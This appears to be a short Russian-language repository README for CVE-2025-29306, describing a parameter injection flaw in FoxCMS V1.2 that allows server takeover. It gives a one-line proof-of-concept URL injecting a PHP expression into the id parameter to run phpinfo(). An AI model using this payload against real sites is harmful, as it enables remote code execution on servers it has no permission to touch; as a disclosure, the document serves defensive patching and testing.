somatrasss/cve-2025-29306
Уязвимость инъекции параметров службы в системе управления контентом FOXCMS黔狐
FoxCMS — это бесплатная для коммерческого использования и открытая система управления веб-сайтами, построенная на архитектуре PHP+MySQL. В системе управления контентом FOXCMS黔狐 существует уязвимость инъекции параметров службы, которую злоумышленник может использовать для получения контроля над сервером.
Система управления контентом FOXCMS黔狐 V1.2
POC http://xx/images/index.html?id=%24{%40print(phpinfo())} Введите POC и перейдите на уязвимую страницу, чтобы увидеть информацию, выводимую после выполнения команды phpinfo.
